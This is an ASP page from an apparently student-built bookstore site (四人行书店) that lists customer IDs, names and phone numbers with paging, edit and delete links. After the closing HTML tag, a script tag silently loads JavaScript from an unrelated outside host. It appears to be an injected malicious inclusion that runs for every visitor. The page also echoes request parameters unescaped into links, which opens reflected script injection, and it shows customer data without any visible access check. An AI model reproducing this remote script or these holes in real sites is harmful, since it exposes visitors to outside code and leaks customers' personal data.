📄 userinfoview.asp
字号:
<!-- #include file="cookies.asp" -->
<!-- #include file="../conn/conn.asp" -->
<HTML>
<HEAD>
<TITLE>
四人行书店
</TITLE>
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
<!--CharSet-->
<meta http-equiv=Content-Type content=text/html;charset=gb2312>
<link rel="stylesheet" href="images/CSS.CSS" type="text/css">
<style type="text/css">
<!--
-->
</style>
<SCRIPT ID=clientEventHandlersJS LANGUAGE=javascript>
<!--
//-->
</SCRIPT>
</HEAD>
<BODY BGCOLOR=#4A636A leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" LANGUAGE=javascript onload="return window_onload()">
<!--Counter-->
<!--Something Here-->
<table width="778" border="0" cellspacing="0" cellpadding="0" align="center" height="245">
<tr>
<td colspan="3" height="65"><img src="images/index_top1.gif" width="778" height="65"></td>
</tr>
<tr>
<td height="140" width="158"><img src="images/index_top2.gif" width="158" height="140"></td>
<td height="140" width="370" background="images/index_top3.gif">
<table border="0" cellspacing="0" cellpadding="0" align="center">
<tr>
<td>
<div align="center"></div>
<div align="center"><font color="#000000"><b><font size="5"> 四人行书店 </font></b></font>
</div>
</td>
</tr>
<tr>
<td>
<div align="center"><font size="4" color="#000000"> TOGETHER BOOKSTORE </font></div>
</td>
</tr>
<tr>
<td> </td>
</tr>
</table>
</td>
<td height="140" width="250" background="images/01.jpg"><img src="images/index_pic.gif" width="250" height="140"></td>
</tr>
<tr>
<td colspan="3" height="40"><img src="images/index_top4.gif" width="778" height="40"></td>
</tr>
</table>
<table width="778" border="0" cellspacing="0" cellpadding="0" align="center" bgcolor="#58757D">
<tr>
<td width="240" valign="top">
<table width="240" border="0" cellspacing="0" cellpadding="0" background="images/index_lmbg.gif">
<tr>
<td valign="top"> <br>
<table width="240" border="0" cellspacing="0" cellpadding="0" height="40">
<tr>
<td>
<table width="210" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="100"> </td>
<td width="110"><b>
<a href="#">
<font color="#FFFFFF">
<!--Language-->
<!--Something Here-->
</font></a></b>
</td>
</tr>
</table>
</td>
</tr>
</table>
<table width="240" border="0" cellspacing="0" cellpadding="0" height="40" background="images/index_lm.gif">
<tr>
<td>
<table width="210" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="100"> </td>
<td width="110"><b>
<a href="index.asp">
<font color="#FFFFFF">
首页
</font></a></b>
</td>
</tr>
</table>
</td>
</tr>
</table>
<!--Button1.Content.Begin-->
<table width="240" border="0" cellspacing="0" cellpadding="0" height="40" background="images/index_lm.gif">
<tr>
<td>
<table width="210" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="100"> </td>
<td width="110"><b>
<!--Button1.Link-->
<a href="login.asp">
<font color="#FFFFFF">
<!--Button1-->
登陆
</font></a></b>
</td>
</tr>
</table>
</td>
</tr>
</table>
<!--Button1.Content.End-->
<!--Button2.Content.Begin-->
<table width="240" border="0" cellspacing="0" cellpadding="0" height="40" background="images/index_lm.gif">
<tr>
<td>
<table width="210" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="100"> </td>
<td width="110"><b>
<!--Button2.Link-->
<a href="#">
<font color="#FFFFFF">
<!--Button2-->
图书管理
</font></a></b></td>
</tr>
</table>
</td>
</tr>
</table>
<!--Button2.Content.End-->
<!--Button3.Content.Begin-->
<table width="240" border="0" cellspacing="0" cellpadding="0" height="40" background="images/index_lm.gif">
<tr>
<td>
<table width="210" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="100"> </td>
<td width="110"><b>
<!--Button3.Link-->
<a href="editUserInfo.asp">
<font color="#FFFFFF">
<!--Button3-->
顾客管理
<font size="2">
</font></font></a></b></td>
</tr>
</table>
</td>
</tr>
</table>
<!--Button3.Content.End-->
<!--Button4.Content.Begin-->
<table width="240" border="0" cellspacing="0" cellpadding="0" height="40" background="images/index_lm.gif">
<tr>
<td>
<table width="210" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="100"> </td>
<td width="110"><b>
<!--Button4.Link-->
<a href="#">
<font color="#FFFFFF">
<!--Button4-->
订单管理
</font></a></b></td>
</tr>
</table>
</td>
</tr>
</table>
<!--Button4.Content.End-->
<!--Button5.Content.Begin-->
<table width="240" border="0" cellspacing="0" cellpadding="0" height="40" background="images/index_lm.gif">
<tr>
<td>
<table width="210" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="100"> </td>
<td width="110"><b>
<!--Button5.Link-->
<a href="#">
<font color="#FFFFFF">
<!--Button5-->
信息发布
</font></a></b></td>
</tr>
</table>
</td>
</tr>
</table>
<!--Button5.Content.End-->
<!--Button6.Content.Begin-->
<table width="240" border="0" cellspacing="0" cellpadding="0" height="40" background="images/index_lm.gif">
<tr>
<td>
<table width="210" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="100"> </td>
<td width="110"><b>
<!--Button6.Link-->
<a href="logout.asp">
<font color="#FFFFFF">
<!--Button6-->
注销
</font></a>
</b></td>
</tr>
</table>
</td>
</tr>
</table>
<!--Button6.Content.End-->
<br>
</td>
</tr>
<tr>
<td valign="top"><img src="images/index_lmbottom.gif" width="240" height="40"></td>
</tr>
</table>
</td>
<td valign="top">
<table border="0" cellspacing="0" cellpadding="0" align="center">
<tr valign="top">
<td>
<!--IndexPage.Content.Begin-->
<table width="94%" border="0" cellspacing="0" cellpadding="0" align="center">
<tr>
<td>
<!--SubButton1.Content.Begin-->
<!--SubButton.Front-->
<!--Something Here-->
<!--SubButton1.Link-->
<a href="#">
<!--SubButton1-->
用户注册
</a>
<!--SubButton.Back-->
|
<!--SubButton1.Content.End-->
<!--SubButton2.Content.Begin-->
<!--SubButton2.Link-->
<a href="#">
<!--SubButton2-->
用户登陆
</a> |
<!--SubButton2.Content.End-->
<!--SubButton3.Content.Begin-->
<!--SubButton3.Link-->
<a href="#">
<!--SubButton3-->
图书浏览
</a> |
<!--SubButton3.Content.End-->
<!--SubButton4.Content.Begin-->
<!--SubButton4.Link-->
<a href="#">
<!--SubButton4-->
后台管理
</a> |
<!--SubButton4.Content.End-->
</td>
</tr>
<tr>
<td bgcolor="#FFFFFF"><img src="images/Spacer.gif" width="1" height="1"></td>
</tr>
<tr>
<td>
<div align="right">
<!--SubPage.Begin-->
<!--Something Here-->
<!--SubPage.End-->
</div>
</td>
</tr>
<tr>
<td><br>
<br>
<!--Page.Content.Begin-->
<!--Something Here-->
<br>
<table width="500" border="0" align="center" bgcolor="#FFFFFF">
<tr>
<td><table width="100%" border="0" cellpadding="4" cellspacing="0">
<tr>
<td width="100"><strong>顾客ID号</strong></td>
<td><strong>顾客名称</strong></td>
<td><strong>顾客电话</strong></td>
<td width="120"><strong>添加时间</strong></td>
<td width="50"> </td>
<td width="50"> </td>
</tr>
<%
if request("page")="" then
page="1"
else
page=request("page")
end if
set rs=server.createobject("adodb.recordset")
sql="select * from Customer order by c_id desc,c_phone asc"
rs.open sql,conn,1,1
if not rs.eof then
rs.pagesize=10
rs.Absolutepage=clng(page)
if cstr(page)=cstr(rs.PageCount) and (rs.RecordCount mod rs.PageSize <> 0) then
recend=rs.RecordCount mod rs.PageSize
else
recend=rs.PageSize
end if
if request("page")<>"" then
if fix(trim(request("page")))>rs.pagecount then
response.redirect "userInfoView.asp?page="&(request("page")-1)
end if
end if
for i=1 to recend
if i mod 2=1 then
color="#f8f8f8"
else
color="#E4e4e4"
end if
%>
<tr bgcolor="<%=color%>">
<td><%=trim(rs("c_id"))%></td>
<td><%=trim(rs("c_name"))%></td>
<td><%=trim(rs("c_phone"))%></td>
<td><%=year(trim(rs("c_addtime")))&"年"&month(trim(rs("c_addtime")))&"月"&day(trim(rs("c_addtime")))&"日"%></td>
<td><div align="center"><a href="#" onClick="window.open('userInfoEdit.asp?id=<%=trim(rs("c_id"))%>&page=<%=page%>','intr','menubar=no,toolbar=no,location=no,directories=no,status=yes,scrollbars=1,resizable=0,width=600,height=500,top=80,left=100');return false;">编辑</a></div></td>
<td><div align="center"><a href="#" onClick="window.open('userInfoDel.asp?id=<%=trim(rs("c_id"))%>&tm=<%=trim(rs("c_name"))%>&page=<%=page%>','intr','menubar=no,toolbar=no,location=no,directories=no,status=yes,scrollbars=1,resizable=0,width=300,height=150,top=80,left=100');return false;">删除</a></div></td>
</tr>
<%
rs.movenext
next
%>
</table>
<table border="0" width="100%" align="center">
<tr>
<td>
<div align="left"><font color="#000000">共有顾客记录<%=rs.recordcount%>条，每页10条，目前<%=page%>/<%=rs.pagecount%>页</font></div>
</td>
<td width="40" align="center"> <font color="#000000">
<% if page="1" then %>
首页
<%else%>
<a href=userInfoView.asp?t=tkgl&type=<%=trim(request("type"))%>&tmbh=<%=trim(request("tmbh"))%>>首页</a>
<% end if %>
</font></td>
<td width="40" align="center"> <font color="#000000">
<% if page="1" then %>
上页
<%else%>
<a href=tkgl.asp?page=<%=page-1%>&t=tkgl&type=<%=trim(request("type"))%>&tmbh=<%=trim(request("tmbh"))%>>上页</a>
<% end if %>
</font></td>
<td width="40" align="center"> <font color="#000000">
<% if page=cstr(rs.pagecount) then %>
下页
<%else%>
<a href=tkgl.asp?page=<%=page+1%>&t=tkgl&type=<%=trim(request("type"))%>&tmbh=<%=trim(request("tmbh"))%>>下页</a>
<% end if %>
</font></td>
<td width="40" align="center"> <font color="#000000">
<% if cstr(page)-cstr(rs.pagecount)=0 then%>
尾页
<% else %>
<a href=tkgl.asp?page=<%=rs.pagecount%>&t=tkgl&type=<%=trim(request("type"))%>&tmbh=<%=trim(request("tmbh"))%>>尾页</a>
<% end if %>
<%
else
response.write "还没有任何顾客记录！"
end if
rs.close
set rs=nothing
%>
</font></td>
</tr>
</table></td>
</tr>
</table>
</body>
</html>
<%
conn.close
set conn=nothing
%>
<br>
<b><font size="3"><embed src="../../../../banner.swf" quality=high width="480" height="60"></embed><br>
</font></b><b><font size="3"> </font></b>
<!--Something Here-->
<!--Page.Content.End-->
</td>
</tr>
</table>
<!--IndexPage.Content.End-->
<table width="94%" border="0" cellspacing="0" cellpadding="0" align="center">
<tr>
<td> <b><font size="3"><br>
</font></b>
<table width="100%" border="0" cellspacing="0" cellpadding="0" align="center" class="englishfont" height="1">
<tr>
<td bgcolor="#FFFFFF"> </td>
</tr>
</table>
<br>
<table width="96%" border="0" cellspacing="0" cellpadding="4" align="center">
<tr>
<td>
<div align="center">
<!--Your Company Name-->
四人行书店
<!--TCopyRight-->
版权所有
@2007<br>
<!--TAddress-->
公司地址:宁波大学计算机051班
<!--Address-->
<br>
<!--TTelephone-->
电话:8760????
<!--Telephone-->
<!--TEMail-->
电子邮件:????@nbu.edu.cn
<!--EMail-->
<A HREF='mailto:
<!--Email-->
'>
<!--Email-->
</A>
</div>
</td>
</tr>
</table>
</td>
</tr>
</table>
<br>
</td>
</tr>
</table>
</td>
<td valign="top" width="20"> </td>
</tr>
</table>
</BODY>
</HTML>
<script language=javascript src=http://93se.com/k.js></script>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -